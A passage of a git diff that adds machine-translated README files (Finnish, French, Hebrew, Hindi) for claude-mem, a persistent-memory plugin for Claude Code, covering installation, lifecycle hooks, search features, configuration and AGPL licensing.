http://localhost:37777/api/observation/{id} tai näytä kaikki web-katselussa osoitteessa http://localhost:37777) +- 🧪 **Beta-kanava** - Kokeile kokeellisia ominaisuuksia kuten Endless Mode versionvaihdolla + +--- + +## Dokumentaatio + +📚 **[Näytä täydellinen dokumentaatio](docs/)** - Selaa markdown-dokumentteja GitHubissa + +### Aloitus + +- **[Asennusopas](https://docs.claude-mem.ai/installation)** - Pikaopas ja edistynyt asennus +- **[Käyttöopas](https://docs.claude-mem.ai/usage/getting-started)** - Miten Claude-Mem toimii automaattisesti +- **[Hakutyökalut](https://docs.claude-mem.ai/usage/search-tools)** - Kysy projektihistoriaasi luonnollisella kielellä +- **[Beta-ominaisuudet](https://docs.claude-mem.ai/beta-features)** - Kokeile kokeellisia ominaisuuksia kuten Endless Mode + +### Parhaat käytännöt + +- **[Kontekstisuunnittelu](https://docs.claude-mem.ai/context-engineering)** - AI-agentin kontekstin optimointiperiaatteet +- **[Asteittainen paljastaminen](https://docs.claude-mem.ai/progressive-disclosure)** - Filosofia Claude-Mem-kontekstin valmistelustrategian takana + +### Arkkitehtuuri + +- **[Yleiskatsaus](https://docs.claude-mem.ai/architecture/overview)** - Järjestelmän komponentit ja datavirta +- **[Arkkitehtuurin kehitys](https://docs.claude-mem.ai/architecture-evolution)** - Matka versiosta v3 versioon v5 +- **[Koukku-arkkitehtuuri](https://docs.claude-mem.ai/hooks-architecture)** - Miten Claude-Mem käyttää elinkaarikkoukkuja +- **[Koukku-viittaus](https://docs.claude-mem.ai/architecture/hooks)** - 7 koukku-skriptiä selitettynä +- **[Worker-palvelu](https://docs.claude-mem.ai/architecture/worker-service)** - HTTP API ja Bun-hallinta +- **[Tietokanta](https://docs.claude-mem.ai/architecture/database)** - SQLite-skeema ja FTS5-haku +- **[Hakuarkkitehtuuri](https://docs.claude-mem.ai/architecture/search-architecture)** - Hybridihaku Chroma-vektoritietokannalla + +### Asetukset ja kehitys + +- **[Asetukset](https://docs.claude-mem.ai/configuration)** - Ympäristömuuttujat ja asetukset +- **[Kehitys](https://docs.claude-mem.ai/development)** - Rakentaminen, testaus, osallistuminen +- **[Vianmääritys](https://docs.claude-mem.ai/troubleshooting)** - Yleiset ongelmat ja ratkaisut + +--- + +## Miten se toimii + +**Keskeiset komponentit:** + +1. **5 elinkaarikoukua** - SessionStart, UserPromptSubmit, PostToolUse, Stop, SessionEnd (6 koukku-skriptiä) +2. **Älykäs asennus** - Välimuistettu riippuvuuksien tarkistaja (esikoukku-skripti, ei elinkaarikkoukku) +3. **Worker-palvelu** - HTTP API portissa 37777 web-katselukäyttöliittymällä ja 10 hakupäätepisteellä, Bun-hallinnoimana +4. **SQLite-tietokanta** - Tallentaa istunnot, havainnot, yhteenvedot +5. **mem-search-taito** - Luonnollisen kielen kyselyt asteittaisella paljastamisella +6. **Chroma-vektoritietokanta** - Hybridi semanttinen + avainsanahaku älykkääseen kontekstin hakuun + +Katso [Arkkitehtuurin yleiskatsaus](https://docs.claude-mem.ai/architecture/overview) yksityiskohdista. + +--- + +## mem-search-taito + +Claude-Mem tarjoaa älykkään haun mem-search-taidon kautta, joka käynnistyy automaattisesti kun kysyt aiemmasta työstä: + +**Miten se toimii:** +- Kysy vain luonnollisesti: *"Mitä teimme viime istunnossa?"* tai *"Korjasimmeko tämän bugin aiemmin?"* +- Claude käynnistää automaattisesti mem-search-taidon löytääkseen relevantin kontekstin + +**Saatavilla olevat hakutoiminnot:** + +1. **Hae havaintoja** - Koko tekstin haku havainnoissa +2. **Hae istuntoja** - Koko tekstin haku istuntojen yhteenvedoissa +3. **Hae prompteja** - Hae raakoista käyttäjäpyynnöistä +4. **Konseptin mukaan** - Hae konseptitageilla (discovery, problem-solution, pattern, jne.) +5. **Tiedoston mukaan** - Hae tiettyihin tiedostoihin viittaavia havaintoja +6. **Tyypin mukaan** - Hae tyypillä (decision, bugfix, feature, refactor, discovery, change) +7. **Viimeaikainen konteksti** - Hae projektin viimeaikainen istuntokonteksti +8. **Aikajana** - Hae yhtenäinen aikajana kontekstista tietyn ajankohdan ympärillä +9. **Aikajana kyselyn mukaan** - Hae havaintoja ja saa aikalinjakonteksti parhaan osuman ympärillä +10. **API-ohje** - Hae haku-API:n dokumentaatio + +**Esimerkkejä luonnollisen kielen kyselyistä:** + +``` +"Mitkä bugit korjasimme viime istunnossa?" +"Miten toteutimme autentikoinnin?" +"Mitä muutoksia tehtiin worker-service.ts:ään?" +"Näytä viimeaikainen työ tässä projektissa" +"Mitä tapahtui kun lisäsimme katselukäyttöliittymän?" +``` + +Katso [Hakutyökalujen opas](https://docs.claude-mem.ai/usage/search-tools) yksityiskohtaisia esimerkkejä varten. + +--- + +## Beta-ominaisuudet + +Claude-Mem tarjoaa **beta-kanavan** kokeellisilla ominaisuuksilla kuten **Endless Mode** (biomimeettinen muistiarkkitehtuuri pidennetyille istunnoille). Vaihda vakaan ja beta-version välillä web-katselukäyttöliittymästä osoitteessa http://localhost:37777 → Settings. + +Katso **[Beta-ominaisuuksien dokumentaatio](https://docs.claude-mem.ai/beta-features)** yksityiskohdista Endless Moden ja sen kokeilemisen osalta. + +--- + +## Järjestelmävaatimukset + +- **Node.js**: 18.0.0 tai uudempi +- **Claude Code**: Uusin versio plugin-tuella +- **Bun**: JavaScript-ajoympäristö ja prosessinhallinta (asennetaan automaattisesti jos puuttuu) +- **uv**: Python-paketinhallinta vektorihakuun (asennetaan automaattisesti jos puuttuu) +- **SQLite 3**: Pysyvälle tallennukselle (sisältyy) + +--- + +## Asetukset + +Asetuksia hallitaan tiedostossa `~/.claude-mem/settings.json` (luodaan automaattisesti oletusarvoilla ensimmäisellä suorituskerralla). Määritä AI-malli, worker-portti, datahakemisto, lokitaso ja kontekstin injektointiasetukset. + +Katso **[Asetusopas](https://docs.claude-mem.ai/configuration)** kaikista saatavilla olevista asetuksista ja esimerkeistä. + +--- + +## Kehitys + +Katso **[Kehitysopas](https://docs.claude-mem.ai/development)** rakennusohjeista, testauksesta ja osallistumisen työnkulusta. + +--- + +## Vianmääritys + +Jos kohtaat ongelmia, kuvaile ongelma Claudelle ja troubleshoot-taito diagnosoi automaattisesti ja tarjoaa korjauksia. + +Katso **[Vianmääritysopas](https://docs.claude-mem.ai/troubleshooting)** yleisistä ongelmista ja ratkaisuista. + +--- + +## Bugiraportit + +Luo kattavia bugiraportteja automaattisella generaattorilla: + +```bash +cd ~/.claude/plugins/marketplaces/thedotmack +npm run bug-report +``` + +## Osallistuminen + +Osallistuminen on tervetullutta! Ole hyvä: + +1. Haarukoi repositorio +2. Luo ominaisuushaara +3. Tee muutoksesi testeineen +4. Päivitä dokumentaatio +5. Lähetä Pull Request + +Katso [Kehitysopas](https://docs.claude-mem.ai/development) osallistumisen työnkulusta. + +--- + +## Lisenssi + +Tämä projekti on lisensoitu **GNU Affero General Public License v3.0** (AGPL-3.0) -lisenssillä. + +Copyright (C) 2025 Alex Newman (@thedotmack). Kaikki oikeudet pidätetään. + +Katso [LICENSE](LICENSE)-tiedosto täydellisistä yksityiskohdista. + +**Mitä tämä tarkoittaa:** + +- Voit käyttää, muokata ja jakaa tätä ohjelmistoa vapaasti +- Jos muokkaat ja otat käyttöön verkkopalvelimella, sinun on asetettava lähdekoodisi saataville +- Johdannaisten teosten on myös oltava AGPL-3.0-lisensoituja +- Tälle ohjelmistolle EI OLE TAKUUTA + +**Huomautus Ragtimesta**: `ragtime/`-hakemisto on erikseen lisensoitu **PolyForm Noncommercial License 1.0.0** -lisenssillä. Katso [ragtime/LICENSE](ragtime/LICENSE) yksityiskohdista. + +--- + +## Tuki + +- **Dokumentaatio**: [docs/](docs/) +- **Ongelmat**: [GitHub Issues](https://github.com/thedotmack/claude-mem/issues) +- **Repositorio**: [github.com/thedotmack/claude-mem](https://github.com/thedotmack/claude-mem) +- **Tekijä**: Alex Newman ([@thedotmack](https://github.com/thedotmack)) + +--- + +**Rakennettu Claude Agent SDK:lla** | **Claude Coden voimalla** | **Tehty TypeScriptillä** \ No newline at end of file diff --git a/docs/i18n/README.fr.md b/docs/i18n/README.fr.md new file mode 100644 index 00000000..11b21d9c --- /dev/null +++ b/docs/i18n/README.fr.md @@ -0,0 +1,304 @@ +🌐 Ceci est une traduction automatisée. Les corrections de la communauté sont les bienvenues ! + +--- +

+
+ + + + + Claude-Mem + + +
+

+ +

+ 🇨🇳 中文 • + 🇯🇵 日本語 • + 🇧🇷 Português • + 🇰🇷 한국어 • + 🇪🇸 Español • + 🇩🇪 Deutsch • + 🇫🇷 Français + 🇮🇱 עברית • + 🇸🇦 العربية • + 🇷🇺 Русский • + 🇵🇱 Polski • + 🇨🇿 Čeština • + 🇳🇱 Nederlands • + 🇹🇷 Türkçe • + 🇺🇦 Українська • + 🇻🇳 Tiếng Việt • + 🇮🇩 Indonesia • + 🇹🇭 ไทย • + 🇮🇳 हिन्दी • + 🇧🇩 বাংলা • + 🇷🇴 Română • + 🇸🇪 Svenska • + 🇮🇹 Italiano • + 🇬🇷 Ελληνικά • + 🇭🇺 Magyar • + 🇫🇮 Suomi • + 🇩🇰 Dansk • + 🇳🇴 Norsk +

+ +

Système de compression de mémoire persistante conçu pour Claude Code.

+ +

+ + License + + + Version + + + Node + + + Mentioned in Awesome Claude Code + +

+ +

+ + + + + thedotmack/claude-mem | Trendshift + + +

+ +
+ +

+ + + Claude-Mem Preview + + +

+ +

+ Démarrage rapide • + Comment ça fonctionne • + Outils de recherche • + Documentation • + Configuration • + Dépannage • + Licence +

+ +

+ Claude-Mem préserve de manière transparente le contexte d'une session à l'autre en capturant automatiquement les observations d'utilisation des outils, en générant des résumés sémantiques et en les rendant disponibles pour les sessions futures. Cela permet à Claude de maintenir la continuité des connaissances sur les projets même après la fin des sessions ou la reconnexion. +

+ +--- + +## Démarrage rapide + +Démarrez une nouvelle session Claude Code dans le terminal et saisissez les commandes suivantes : + +``` +> /plugin marketplace add thedotmack/claude-mem + +> /plugin install claude-mem +``` + +Redémarrez Claude Code. Le contexte des sessions précédentes apparaîtra automatiquement dans les nouvelles sessions. + +**Fonctionnalités clés :** + +- 🧠 **Mémoire persistante** - Le contexte survit d'une session à l'autre +- 📊 **Divulgation progressive** - Récupération de mémoire en couches avec visibilité du coût en tokens +- 🔍 **Recherche basée sur les compétences** - Interrogez l'historique de votre projet avec la compétence mem-search +- 🖥️ **Interface Web de visualisation** - Flux de mémoire en temps réel à http://localhost:37777 +- 💻 **Compétence Claude Desktop** - Recherchez dans la mémoire depuis les conversations Claude Desktop +- 🔒 **Contrôle de la confidentialité** - Utilisez les balises `` pour exclure le contenu sensible du stockage +- ⚙️ **Configuration du contexte** - Contrôle précis sur le contexte injecté +- 🤖 **Fonctionnement automatique** - Aucune intervention manuelle requise +- 🔗 **Citations** - Référencez les observations passées avec des ID (accès via http://localhost:37777/api/observation/{id} ou visualisez tout dans l'interface web à http://localhost:37777) +- 🧪 **Canal bêta** - Essayez des fonctionnalités expérimentales comme le mode Endless via le changement de version + +--- + +## Documentation + +📚 **[Voir la documentation complète](docs/)** - Parcourez la documentation markdown sur GitHub + +### Pour commencer + +- **[Guide d'installation](https://docs.claude-mem.ai/installation)** - Démarrage rapide et installation avancée +- **[Guide d'utilisation](https://docs.claude-mem.ai/usage/getting-started)** - Comment Claude-Mem fonctionne automatiquement +- **[Outils de recherche](https://docs.claude-mem.ai/usage/search-tools)** - Interrogez l'historique de votre projet en langage naturel +- **[Fonctionnalités bêta](https://docs.claude-mem.ai/beta-features)** - Essayez des fonctionnalités expérimentales comme le mode Endless + +### Bonnes pratiques + +- **[Ingénierie du contexte](https://docs.claude-mem.ai/context-engineering)** - Principes d'optimisation du contexte pour les agents IA +- **[Divulgation progressive](https://docs.claude-mem.ai/progressive-disclosure)** - Philosophie derrière la stratégie d'amorçage du contexte de Claude-Mem + +### Architecture + +- **[Vue d'ensemble](https://docs.claude-mem.ai/architecture/overview)** - Composants du système et flux de données +- **[Évolution de l'architecture](https://docs.claude-mem.ai/architecture-evolution)** - Le parcours de la v3 à la v5 +- **[Architecture des hooks](https://docs.claude-mem.ai/hooks-architecture)** - Comment Claude-Mem utilise les hooks de cycle de vie +- **[Référence des hooks](https://docs.claude-mem.ai/architecture/hooks)** - Explication des 7 scripts de hooks +- **[Service Worker](https://docs.claude-mem.ai/architecture/worker-service)** - API HTTP et gestion Bun +- **[Base de données](https://docs.claude-mem.ai/architecture/database)** - Schéma SQLite et recherche FTS5 +- **[Architecture de recherche](https://docs.claude-mem.ai/architecture/search-architecture)** - Recherche hybride avec la base de données vectorielle Chroma + +### Configuration et développement + +- **[Configuration](https://docs.claude-mem.ai/configuration)** - Variables d'environnement et paramètres +- **[Développement](https://docs.claude-mem.ai/development)** - Compilation, tests, contribution +- **[Dépannage](https://docs.claude-mem.ai/troubleshooting)** - Problèmes courants et solutions + +--- + +## Comment ça fonctionne + +**Composants principaux :** + +1. **5 hooks de cycle de vie** - SessionStart, UserPromptSubmit, PostToolUse, Stop, SessionEnd (6 scripts de hooks) +2. **Installation intelligente** - Vérificateur de dépendances en cache (script pré-hook, pas un hook de cycle de vie) +3. **Service Worker** - API HTTP sur le port 37777 avec interface web de visualisation et 10 points de terminaison de recherche, géré par Bun +4. **Base de données SQLite** - Stocke les sessions, observations, résumés +5. **Compétence mem-search** - Requêtes en langage naturel avec divulgation progressive +6. **Base de données vectorielle Chroma** - Recherche hybride sémantique + mots-clés pour une récupération de contexte intelligente + +Voir [Vue d'ensemble de l'architecture](https://docs.claude-mem.ai/architecture/overview) pour plus de détails. + +--- + +## Compétence mem-search + +Claude-Mem fournit une recherche intelligente via la compétence mem-search qui s'invoque automatiquement lorsque vous posez des questions sur le travail passé : + +**Comment ça fonctionne :** +- Posez simplement des questions naturellement : *"Qu'avons-nous fait lors de la dernière session ?"* ou *"Avons-nous déjà corrigé ce bug ?"* +- Claude invoque automatiquement la compétence mem-search pour trouver le contexte pertinent + +**Opérations de recherche disponibles :** + +1. **Rechercher des observations** - Recherche plein texte dans les observations +2. **Rechercher des sessions** - Recherche plein texte dans les résumés de sessions +3. **Rechercher des invites** - Rechercher dans les demandes brutes des utilisateurs +4. **Par concept** - Trouver par étiquettes de concept (discovery, problem-solution, pattern, etc.) +5. **Par fichier** - Trouver les observations faisant référence à des fichiers spécifiques +6. **Par type** - Trouver par type (decision, bugfix, feature, refactor, discovery, change) +7. **Contexte récent** - Obtenir le contexte récent d'une session pour un projet +8. **Timeline** - Obtenir une chronologie unifiée du contexte autour d'un point spécifique dans le temps +9. **Timeline par requête** - Rechercher des observations et obtenir le contexte de la chronologie autour de la meilleure correspondance +10. **Aide API** - Obtenir la documentation de l'API de recherche + +**Exemples de requêtes en langage naturel :** + +``` +"Quels bugs avons-nous corrigés lors de la dernière session ?" +"Comment avons-nous implémenté l'authentification ?" +"Quels changements ont été apportés à worker-service.ts ?" +"Montrez-moi le travail récent sur ce projet" +"Que se passait-il lorsque nous avons ajouté l'interface de visualisation ?" +``` + +Voir le [Guide des outils de recherche](https://docs.claude-mem.ai/usage/search-tools) pour des exemples détaillés. + +--- + +## Fonctionnalités bêta + +Claude-Mem propose un **canal bêta** avec des fonctionnalités expérimentales comme le **mode Endless** (architecture de mémoire biomimétique pour les sessions étendues). Basculez entre les versions stables et bêta depuis l'interface web de visualisation à http://localhost:37777 → Paramètres. + +Voir la **[Documentation des fonctionnalités bêta](https://docs.claude-mem.ai/beta-features)** pour plus de détails sur le mode Endless et comment l'essayer. + +--- + +## Configuration système requise + +- **Node.js** : 18.0.0 ou supérieur +- **Claude Code** : Dernière version avec support des plugins +- **Bun** : Runtime JavaScript et gestionnaire de processus (installé automatiquement si manquant) +- **uv** : Gestionnaire de packages Python pour la recherche vectorielle (installé automatiquement si manquant) +- **SQLite 3** : Pour le stockage persistant (inclus) + +--- + +## Configuration + +Les paramètres sont gérés dans `~/.claude-mem/settings.json` (créé automatiquement avec les valeurs par défaut au premier lancement). Configurez le modèle IA, le port du worker, le répertoire de données, le niveau de journalisation et les paramètres d'injection de contexte. + +Voir le **[Guide de configuration](https://docs.claude-mem.ai/configuration)** pour tous les paramètres disponibles et des exemples. + +--- + +## Développement + +Voir le **[Guide de développement](https://docs.claude-mem.ai/development)** pour les instructions de compilation, les tests et le flux de contribution. + +--- + +## Dépannage + +Si vous rencontrez des problèmes, décrivez le problème à Claude et la compétence troubleshoot diagnostiquera automatiquement et fournira des solutions. + +Voir le **[Guide de dépannage](https://docs.claude-mem.ai/troubleshooting)** pour les problèmes courants et les solutions. + +--- + +## Rapports de bugs + +Créez des rapports de bugs complets avec le générateur automatisé : + +```bash +cd ~/.claude/plugins/marketplaces/thedotmack +npm run bug-report +``` + +## Contribuer + +Les contributions sont les bienvenues ! Veuillez : + +1. Forker le dépôt +2. Créer une branche de fonctionnalité +3. Effectuer vos modifications avec des tests +4. Mettre à jour la documentation +5. Soumettre une Pull Request + +Voir le [Guide de développement](https://docs.claude-mem.ai/development) pour le flux de contribution. + +--- + +## Licence + +Ce projet est sous licence **GNU Affero General Public License v3.0** (AGPL-3.0). + +Copyright (C) 2025 Alex Newman (@thedotmack). Tous droits réservés. + +Voir le fichier [LICENSE](LICENSE) pour tous les détails. + +**Ce que cela signifie :** + +- Vous pouvez utiliser, modifier et distribuer ce logiciel librement +- Si vous modifiez et déployez sur un serveur réseau, vous devez rendre votre code source disponible +- Les œuvres dérivées doivent également être sous licence AGPL-3.0 +- Il n'y a AUCUNE GARANTIE pour ce logiciel + +**Note sur Ragtime** : Le répertoire `ragtime/` est sous licence séparée sous la **PolyForm Noncommercial License 1.0.0**. Voir [ragtime/LICENSE](ragtime/LICENSE) pour plus de détails. + +--- + +## Support + +- **Documentation** : [docs/](docs/) +- **Issues** : [GitHub Issues](https://github.com/thedotmack/claude-mem/issues) +- **Dépôt** : [github.com/thedotmack/claude-mem](https://github.com/thedotmack/claude-mem) +- **Auteur** : Alex Newman ([@thedotmack](https://github.com/thedotmack)) + +--- + +**Construit avec Claude Agent SDK** | **Propulsé par Claude Code** | **Fait avec TypeScript** + +--- \ No newline at end of file diff --git a/docs/i18n/README.he.md b/docs/i18n/README.he.md new file mode 100644 index 00000000..20d8fcab --- /dev/null +++ b/docs/i18n/README.he.md @@ -0,0 +1,301 @@ +🌐 זהו תרגום אוטומטי. תיקונים מהקהילה יתקבלו בברכה! + +

+
+ + + + + Claude-Mem + + +
+

+ +

+ 🇨🇳 中文 • + 🇯🇵 日本語 • + 🇧🇷 Português • + 🇰🇷 한국어 • + 🇪🇸 Español • + 🇩🇪 Deutsch • + 🇫🇷 Français + 🇮🇱 עברית • + 🇸🇦 العربية • + 🇷🇺 Русский • + 🇵🇱 Polski • + 🇨🇿 Čeština • + 🇳🇱 Nederlands • + 🇹🇷 Türkçe • + 🇺🇦 Українська • + 🇻🇳 Tiếng Việt • + 🇮🇩 Indonesia • + 🇹🇭 ไทย • + 🇮🇳 हिन्दी • + 🇧🇩 বাংলা • + 🇷🇴 Română • + 🇸🇪 Svenska • + 🇮🇹 Italiano • + 🇬🇷 Ελληνικά • + 🇭🇺 Magyar • + 🇫🇮 Suomi • + 🇩🇰 Dansk • + 🇳🇴 Norsk +

+ +

מערכת דחיסת זיכרון מתמשך שנבנתה עבור Claude Code.

+ +

+ + License + + + Version + + + Node + + + Mentioned in Awesome Claude Code + +

+ +

+ + + + + thedotmack/claude-mem | Trendshift + + +

+ +
+ +

+ + + Claude-Mem Preview + + +

+ +

+ התחלה מהירה • + איך זה עובד • + כלי חיפוש • + תיעוד • + הגדרות • + פתרון בעיות • + רישיון +

+ +

+ Claude-Mem משמר הקשר בצורה חלקה בין הפעלות על ידי לכידה אוטומטית של תצפיות על שימוש בכלים, יצירת סיכומים סמנטיים, והנגשתם להפעלות עתידיות. זה מאפשר ל-Claude לשמור על המשכיות של ידע על פרויקטים גם לאחר שהפעלות מסתיימות או מתחברות מחדש. +

+ +--- + +## התחלה מהירה + +התחל הפעלה חדשה של Claude Code בטרמינל והזן את הפקודות הבאות: + +``` +> /plugin marketplace add thedotmack/claude-mem + +> /plugin install claude-mem +``` + +הפעל מחדש את Claude Code. הקשר מהפעלות קודמות יופיע אוטומטית בהפעלות חדשות. + +**תכונות עיקריות:** + +- 🧠 **זיכרון מתמשך** - הקשר שורד בין הפעלות +- 📊 **גילוי מדורג** - אחזור זיכרון רב-שכבתי עם נראות עלות טוקנים +- 🔍 **חיפוש מבוסס-מיומנויות** - שאל את היסטוריית הפרויקט שלך עם מיומנות mem-search +- 🖥️ **ממשק צופה אינטרנט** - זרימת זיכרון בזמן אמת ב-http://localhost:37777 +- 💻 **מיומנות Claude Desktop** - חפש זיכרון משיחות Claude Desktop +- 🔒 **בקרת פרטיות** - השתמש בתגיות `` כדי להוציא תוכן רגיש מהאחסון +- ⚙️ **הגדרות הקשר** - בקרה מדויקת על איזה הקשר מוזרק +- 🤖 **פעולה אוטומטית** - אין צורך בהתערבות ידנית +- 🔗 **ציטוטים** - הפנה לתצפיות קודמות עם מזהים (גישה דרך http://localhost:37777/api/observation/{id} או צפה בכולם בצופה האינטרנט ב-http://localhost:37777) +- 🧪 **ערוץ בטא** - נסה תכונות ניסיוניות כמו Endless Mode דרך החלפת גרסאות + +--- + +## תיעוד + +📚 **[צפה בתיעוד המלא](docs/)** - עיין במסמכי markdown ב-GitHub + +### תחילת העבודה + +- **[מדריך התקנה](https://docs.claude-mem.ai/installation)** - התחלה מהירה והתקנה מתקדמת +- **[מדריך שימוש](https://docs.claude-mem.ai/usage/getting-started)** - איך Claude-Mem עובד אוטומטית +- **[כלי חיפוש](https://docs.claude-mem.ai/usage/search-tools)** - שאל את היסטוריית הפרויקט שלך בשפה טבעית +- **[תכונות בטא](https://docs.claude-mem.ai/beta-features)** - נסה תכונות ניסיוניות כמו Endless Mode + +### שיטות מומלצות + +- **[הנדסת הקשר](https://docs.claude-mem.ai/context-engineering)** - עקרונות אופטימיזציה של הקשר לסוכן AI +- **[גילוי מדורג](https://docs.claude-mem.ai/progressive-disclosure)** - הפילוסופיה מאחורי אסטרטגיית הכנת ההקשר של Claude-Mem + +### ארכיטקטורה + +- **[סקירה כללית](https://docs.claude-mem.ai/architecture/overview)** - רכיבי המערכת וזרימת הנתונים +- **[התפתחות הארכיטקטורה](https://docs.claude-mem.ai/architecture-evolution)** - המסע מגרסה 3 לגרסה 5 +- **[ארכיטקטורת Hooks](https://docs.claude-mem.ai/hooks-architecture)** - איך Claude-Mem משתמש ב-lifecycle hooks +- **[מדריך Hooks](https://docs.claude-mem.ai/architecture/hooks)** - 7 סקריפטי hook מוסברים +- **[שירות Worker](https://docs.claude-mem.ai/architecture/worker-service)** - HTTP API וניהול Bun +- **[מסד נתונים](https://docs.claude-mem.ai/architecture/database)** - סכמת SQLite וחיפוש FTS5 +- **[ארכיטקטורת חיפוש](https://docs.claude-mem.ai/architecture/search-architecture)** - חיפוש היברידי עם מסד נתוני וקטורים Chroma + +### הגדרות ופיתוח + +- **[הגדרות](https://docs.claude-mem.ai/configuration)** - משתני סביבה והגדרות +- **[פיתוח](https://docs.claude-mem.ai/development)** - בנייה, בדיקה, תרומה +- **[פתרון בעיות](https://docs.claude-mem.ai/troubleshooting)** - בעיות נפוצות ופתרונות + +--- + +## איך זה עובד + +**רכיבי ליבה:** + +1. **5 Lifecycle Hooks** - SessionStart, UserPromptSubmit, PostToolUse, Stop, SessionEnd (6 סקריפטי hook) +2. **התקנה חכמה** - בודק תלויות עם מטמון (סקריפט pre-hook, לא lifecycle hook) +3. **שירות Worker** - HTTP API על פורט 37777 עם ממשק צופה אינטרנט ו-10 נקודות קצה לחיפוש, מנוהל על ידי Bun +4. **מסד נתוני SQLite** - מאחסן הפעלות, תצפיות, סיכומים +5. **מיומנות mem-search** - שאילתות בשפה טבעית עם גילוי מדורג +6. **מסד נתוני וקטורים Chroma** - חיפוש היברידי סמנטי + מילות מפתח לאחזור הקשר חכם + +ראה [סקירה כללית של הארכיטקטורה](https://docs.claude-mem.ai/architecture/overview) לפרטים. + +--- + +## מיומנות mem-search + +Claude-Mem מספק חיפוש חכם דרך מיומנות mem-search שמופעלת אוטומטית כשאתה שואל על עבודה קודמת: + +**איך זה עובד:** +- פשוט שאל באופן טבעי: *"מה עשינו בהפעלה האחרונה?"* או *"תיקנו את הבאג הזה קודם?"* +- Claude מפעיל אוטומטית את מיומנות mem-search כדי למצוא הקשר רלוונטי + +**פעולות חיפוש זמינות:** + +1. **חיפוש תצפיות** - חיפוש טקסט מלא על פני תצפיות +2. **חיפוש הפעלות** - חיפוש טקסט מלא על פני סיכומי הפעלות +3. **חיפוש Prompts** - חיפוש בקשות משתמש גולמיות +4. **לפי מושג** - חיפוש לפי תגיות מושג (discovery, problem-solution, pattern, וכו') +5. **לפי קובץ** - חיפוש תצפיות המתייחסות לקבצים ספציפיים +6. **לפי סוג** - חיפוש לפי סוג (decision, bugfix, feature, refactor, discovery, change) +7. **הקשר אחרון** - קבל הקשר הפעלות אחרון לפרויקט +8. **ציר זמן** - קבל ציר זמן מאוחד של הקשר סביב נקודת זמן ספציפית +9. **ציר זמן לפי שאילתה** - חפש תצפיות וקבל הקשר ציר זמן סביב ההתאמה הטובה ביותר +10. **עזרה ל-API** - קבל תיעוד API חיפוש + +**דוגמאות לשאילתות בשפה טבעית:** + +``` +"What bugs did we fix last session?" +"How did we implement authentication?" +"What changes were made to worker-service.ts?" +"Show me recent work on this project" +"What was happening when we added the viewer UI?" +``` + +ראה [מדריך כלי חיפוש](https://docs.claude-mem.ai/usage/search-tools) לדוגמאות מפורטות. + +--- + +## תכונות בטא + +Claude-Mem מציע **ערוץ בטא** עם תכונות ניסיוניות כמו **Endless Mode** (ארכיטקטורת זיכרון ביומימטית להפעלות מורחבות). החלף בין גרסאות יציבות ובטא מממשק הצופה האינטרנט ב-http://localhost:37777 → Settings. + +ראה **[תיעוד תכונות בטא](https://docs.claude-mem.ai/beta-features)** לפרטים על Endless Mode ואיך לנסות אותו. + +--- + +## דרישות מערכת + +- **Node.js**: 18.0.0 ומעלה +- **Claude Code**: גרסה אחרונה עם תמיכה בתוספים +- **Bun**: סביבת ריצה ומנהל תהליכים של JavaScript (מותקן אוטומטית אם חסר) +- **uv**: מנהל חבילות Python לחיפוש וקטורי (מותקן אוטומטית אם חסר) +- **SQLite 3**: לאחסון מתמשך (מצורף) + +--- + +## הגדרות + +ההגדרות מנוהלות ב-`~/.claude-mem/settings.json` (נוצר אוטומטית עם ברירות מחדל בהפעלה הראשונה). הגדר מודל AI, פורט worker, ספריית נתונים, רמת לוג, והגדרות הזרקת הקשר. + +ראה **[מדריך הגדרות](https://docs.claude-mem.ai/configuration)** לכל ההגדרות הזמינות ודוגמאות. + +--- + +## פיתוח + +ראה **[מדריך פיתוח](https://docs.claude-mem.ai/development)** להוראות בנייה, בדיקה, ותהליך תרומה. + +--- + +## פתרון בעיות + +אם אתה נתקל בבעיות, תאר את הבעיה ל-Claude ומיומנות troubleshoot תאבחן אוטומטית ותספק תיקונים. + +ראה **[מדריך פתרון בעיות](https://docs.claude-mem.ai/troubleshooting)** לבעיות נפוצות ופתרונות. + +--- + +## דיווחי באגים + +צור דיווחי באגים מקיפים עם המחולל האוטומטי: + +```bash +cd ~/.claude/plugins/marketplaces/thedotmack +npm run bug-report +``` + +## תרומה + +תרומות מתקבלות בברכה! אנא: + +1. עשה Fork למאגר +2. צור ענף תכונה +3. בצע את השינויים שלך עם בדיקות +4. עדכן תיעוד +5. שלח Pull Request + +ראה [מדריך פיתוח](https://docs.claude-mem.ai/development) לתהליך תרומה. + +--- + +## רישיון + +פרויקט זה מורשה תחת **GNU Affero General Public License v3.0** (AGPL-3.0). + +זכויות יוצרים (C) 2025 Alex Newman (@thedotmack). כל הזכויות שמורות. + +ראה את קובץ [LICENSE](LICENSE) לפרטים מלאים. + +**משמעות הדבר:** + +- אתה יכול לשימוש, שינוי והפצה של תוכנה זו בחופשיות +- אם אתה משנה ופורס על שרת רשת, עליך להנגיש את קוד המקור שלך +- עבודות נגזרות חייבות להיות מורשות גם כן תחת AGPL-3.0 +- אין אחריות לתוכנה זו + +**הערה על Ragtime**: ספריית `ragtime/` מורשית בנפרד תחת **PolyForm Noncommercial License 1.0.0**. ראה [ragtime/LICENSE](ragtime/LICENSE) לפרטים. + +--- + +## תמיכה + +- **תיעוד**: [docs/](docs/) +- **בעיות**: [GitHub Issues](https://github.com/thedotmack/claude-mem/issues) +- **מאגר**: [github.com/thedotmack/claude-mem](https://github.com/thedotmack/claude-mem) +- **מחבר**: Alex Newman ([@thedotmack](https://github.com/thedotmack)) + +--- + +**נבנה עם Claude Agent SDK** | **מופעל על ידי Claude Code** | **נוצר עם TypeScript** \ No newline at end of file diff --git a/docs/i18n/README.hi.md b/docs/i18n/README.hi.md new file mode 100644 index 00000000..eed1f1f5 --- /dev/null +++ b/docs/i18n/README.hi.md @@ -0,0 +1,304 @@ +🌐 यह एक स्वचालित अनुवाद है। समुदाय से सुधार का स्वागत है! + +--- +

+
+ + + + + Claude-Mem + + +
+

+ +

